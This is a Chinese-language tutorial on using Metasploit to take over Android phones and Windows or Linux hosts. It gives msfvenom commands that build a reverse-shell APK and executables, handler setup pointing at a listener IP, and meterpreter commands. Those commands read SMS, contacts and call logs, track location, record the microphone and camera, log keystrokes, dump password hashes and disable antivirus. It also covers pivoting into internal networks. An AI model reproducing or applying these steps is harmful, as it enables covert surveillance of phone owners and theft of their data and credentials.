MSF安卓手机渗透
大约 8 分钟
MSF安卓手机渗透
黑客渗透流程
1、信息收集(资产盘点)
2、漏洞利用(攻击脚本)
3、获取权限
4、权限提升
5、权限维持
6、内网渗透
7、清除痕迹
安装MSF(windows / Linux / macos)、kali自带
建议:先副业兼职积累项目实战经验,然后骑驴看马寻找机会
MSF常见命令
| 命令 | 用途 |
|---|---|
| show | 显示模块 |
| search | 搜索模块 |
| info | 模块详细信息 |
| use | 使用工具 |
| set | 设置 |
MSF生成安卓APK(制作客户端)
msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.63.139 lport=7777 R > ~/yufu.apk
MSF启动服务端
# 进入操作终端
msfconsole
# 使用监听
use exploit/multi/handler
# 生成payload
set payload android/meterpreter/reverse_tcp
# 设置IP
set lhost 43.139.52.212
# 设置端口号
set lport 7777
# 运行
run
使用示例
| 命令 | 用途 |
|---|---|
| app_list | 当前设备所有app |
| help | 查看所有命令 |
| dump_sms | 生成手机短信文件 |
| less xxx | 查看文件 |
| dump_contacts | 获取联系人 |
| dump_calllog | 获取通话记录 |
| record_mic -d 10 | 录音10秒 |
| send_sms -d 17388979752 -t "发送内容" | 发送短信 |
| geolocate | 获取定位地址 |
| webcam_list | 显示当前设备摄像头 |
| webcam_snap -i 1 | 调用摄像头 |
核心命令
命令 说明
------- -----------
? 帮助菜单
background 当前会话的背景
bg 背景别名
bgkill 杀死后台 meterpreter 脚本
bglist 列出正在运行的后台脚本
bgrun 作为后台线程执行 meterpreter 脚本
channel 显示信息或控制活动通道
close 关闭通道
detach 分离 meterpreter 会话(对于 http/https)
disable_unicode_encoding 禁用 unicode 字符串的编码
enable_unicode_encoding 启用 unicode 字符串编码
exit 终止 meterpreter 会话
get_timeouts 获取当前会话超时值
guid 获取会话 GUID
help 帮助菜单
info 显示有关 Post 模块的信息
irb 在当前会话上打开交互式 Ruby shell
load 加载一个或多个 meterpreter 扩展
machine_id 获取附加到会话的计算机的 MSF ID
pry 在当前会话上打开 Pry 调试器
quit 终止 meterpreter 会话
read 从通道读取数据
resource 运行存储在文件中的命令
run 执行 meterpreter 脚本或 Post 模块
secure 在会话上安全(重新)协商 TLV 数据包加密
sessions 快速切换到另一个会话
set_timeouts 设置当前会话超时值
sleep 强制 Meterpreter 进入安静状态,然后重新建立会话
transport 管理运输机制
use 使用“load”的已弃用别名
uuid 获取当前会话的 UUID
write 将数据写入通道
文件系统命令
命令 说明
------- -----------
cat 将文件内容读取到屏幕上
cd 更改目录
checksum 检索文件的校验和
cp 将源复制到目标
del 删除指定文件
dir 列出文件(ls 的别名)
download 下载文件到文件夹
edit 编辑文件
getlwd 打印本地工作目录
getwd 打印工作目录
lcat 将本地文件的内容读取到屏幕上
lcd 更改本地工作目录
lls 列出本地文件
lpwd 打印本地工作目录
ls 列出文件
mkdir 新建目录
mv 将源移动到目的地
pwd 打印工作目录
rm 删除指定文件
rmdir 删除目录
search 搜索文件
upload 上传文件到文件夹
联网命令
Command Description
------- -----------
ifconfig 显示接口
ipconfig 显示接口
portfwd 将本地端口转发到远程服务
route 查看和修改路由表
系统命令
Command Description
------- -----------
execute 执行命令
getenv 获取一个或多个环境变量值
getpid 获取当前进程标识符
getuid 获取服务器运行的用户
localtime 显示目标系统本地日期和时间
pgrep 按名称过滤进程
ps 列出正在运行的进程
shell 进入系统命令 shell
sysinfo 获取有关远程系统的信息,例如操作系统
用户界面命令
Command Description
------- -----------
screenshare 实时观看远程用户桌面
screenshot 抓取交互式桌面的屏幕截图
网络摄像头命令
Command Description
------- -----------
record_mic 从默认麦克风录制音频 X 秒
webcam_chat 开始视频聊天
webcam_list 列出网络摄像头
webcam_snap 从指定的网络摄像头拍摄快照
webcam_stream 播放指定网络摄像头的视频流
Stdapi: 音频输出命令
Command Description
------- -----------
play 在目标系统上播放波形音频文件 (.wav)
Android Commands
Command Description
------- -----------
activity_start 从 Uri 字符串启动 Android 活动
check_root 检查设备是否已root
dump_calllog 获取通话记录
dump_contacts 获取联系人列表
dump_sms 获取短信
geolocate 使用地理定位获取当前经纬度
hide_app_icon 在启动器中隐藏应用程序图标
interval_collect 管理间隔收集功能
send_sms 从目标会话发送短信
set_audio_mode 设置振铃模式
sqlite_query 从存储中查询 SQLite 数据库
wakelock 启用/禁用唤醒锁
wlan_geolocate 使用 WLAN 信息获取当前经纬度
应用程序控制器命令
Command Description
------- -----------
app_install 请求安装apk文件
app_list 列出设备中已安装的应用程序
app_run 启动包名称的主要活动
app_uninstall 请求卸载应用程序
Metasploit模块划分
MSF是渗透测试领域最流行的渗透测试框架,它有以下几个模块:
辅 助 模 块 (Auxiliary,扫描器),扫描主机系统,寻找可用漏洞;
渗透攻击模块 (Exploits),选择并配置一个漏洞利用模块;基于某种漏洞所编写的用于获取系统权限的攻击脚本
攻击载荷模块 (Payloads),选择并配置一个攻击载荷模块;
后渗透攻击模块 (Post),用于内网渗透的各种操作;
编 码 器 模 块 (Encoders),选择编码技术,绕过杀软(或其他免杀方式);
所有模块位置:/usr/share/metasploit-framework/modules/
渗透步骤(Exploit)
search xxx #搜索某个漏洞
use xxx #使用某个漏洞利用模块
show options #查看配置选项
set payload #配置攻击载荷
exploit #执行渗透攻击
参数摘要
reload_all #从目录重载所有模块
back #后退命令,移出当前上下文,用于模块切换
info #目标和模块详细信息
check #检查目标是否受某个漏洞影响
sessions #会话管理
sessions -l #列出所有会话
sessions -K #终止所有会话
sessions -i id #进入某个会话
sessions -v #以详细模式列出会话
sessions -u #在许多平台上将shell升级到meterpreter会话
show options #显示可选选项
auxiliary #显示所有辅助模块
exploits #显示所有漏洞利用模块
payloads #显示所有有效载荷
targets #显示所有可用目标
advanced #显示更多高级选项
encoders #显示可用编码器列表
使用辅助模块(Auxiliary)
端口扫描
use auxiliary/scanner/portmap/portmap_amp
use auxiliary/scanner/portscan/ftpbounce
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/portscan/ack
use auxiliary/scanner/portscan/syn
use auxiliary/scanner/portscan/xmas
服务扫描
auxiliary/scanner/ssh/ssh_login #SSH爆破
auxiliary/scanner/vnc/vnc_none_auth #VNC空口令扫描
auxiliary/scanner/telnet/telnet_login#SSH爆破
auxiliary/scanner/smb/smb_version #SMB系统版本扫描
auxiliary/scanner/smb/smb_enumusers #SMB枚举
auxiliary/scanner/smb/smb_login #SMB弱口令登录
auxiliary/admin/smb/psexec_command #登录SMB且执行命令
auxiliary/scanner/mssql/mssql_ping #MSSQL主机信息扫描
auxiliary/admin/mssql/mssql_enum #MSSQL枚举
auxiliary/scanner/mysql/mysql_login #MySQL弱口令扫描
auxiliary/admin/mysql/mysql_enum #MySQL枚举
攻击载荷和编码(Payloads && Encoders) #
MSF可以用以下方式,生成payload和编码
use windows/meterpreter_reverse_http
-E 强制编码
-e 要使用的编码器模块的名称
-f 输出文件名(否则为stdout)
-t 输出格式: raw,ruby,rb,perl,pl,c,java,dll,exe,elf,vbs,asp,war等
-b 要避免的字符列表: '\x00\xff'
Windows
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=Kali的IP LPORT=Kali监听端口 -f exe > msf.exe
参数选项:
-p 指定的payload
-e 编码器,x86/shikata_ga_nai
-i 迭代器,对有效载荷的编码次数
-f 输出文件的格式,exe、dll、raw
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.1.1.15 LPORT=6666 -f elf > msf.elf
监听反弹shell
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.1.1.15
msf5 exploit(multi/handler) > set LPORT 6666
msf5 exploit(multi/handler) > run
Meterpreter用例
刚获得Meterpreter Shell时,该Shell是极其脆弱的,可以把它和目标机中一个稳定的程序绑定
getpid #查看当前Meterpreter Shell的进程号
ps #获取目标机正运行的进程
migrate 476 #将shell迁移到PID为786的进程中
命令摘要
pwd、ls、cd
getuid #查看当前权限
getsystem #获得系统管理员权限(要本地管理员权限运行)
hashdump #抓哈希密码
sysinfo #查看系统信息
idletim #查看目标系统已运行时间
route #查看目标机完整网络设置
shell #进入目标机shell,exit退出she
background #将meterpreter隐藏在后台
upload ./1.txt c:\\1.txt #上传文件
download c:\1.txt ./ #下载文件
search -f *.txt -d c:// #搜索文件
keyscan_start #启动键盘记录
keyscan_stop #停止键盘记录
keyscan_dump #转储键盘记录的内容
screenshot #抓取截屏
webcam_list #摄像头列表
webcam_snap #摄像头拍照
webcam_stream #抓取视频
#Kali-Linux下登录远程桌面
sudo rdesktop -f 目标IP
route add IP 子网掩码 #添加路由,先background
后渗透模块(Post)
run post/windows/gather/checkvm #检查目标是否虚拟机
run post/linux/gather/checkvm
run post/windows/manage/killav #关闭杀软
run post/windows/manage/enable_rdp #开启目标远程桌面
run post/windows/gather/enum_logged_on_users #列举当前登陆用户,和最近登陆过的用户
run post/windows/gather/enum_applications #列举应用程序
run windows/gather/credentials/windows_autologin#列举自动登陆的用户名和密码
MSF官方后渗透模块参考:https://www.offensive-security.com/metasploit-unleashed/post-module-reference/
网络穿透
拿到反向shell之后,获取目标网络信息
meterpreter > run get_local_subnets
使用autoroute模块添加路由
meterpreter > run autoroute -s 10.0.0.0/255.0.0.0
meterpreter > run autoroute -p #列出添加了路由规则的存活session
添加完成后返回上一层,这里一定要保证添加了路由规则的sessions的存活,如果sessions掉了对应的路由规则也就失效了
添加完成后使用ms17_010的扫描脚本进行目标内网的扫描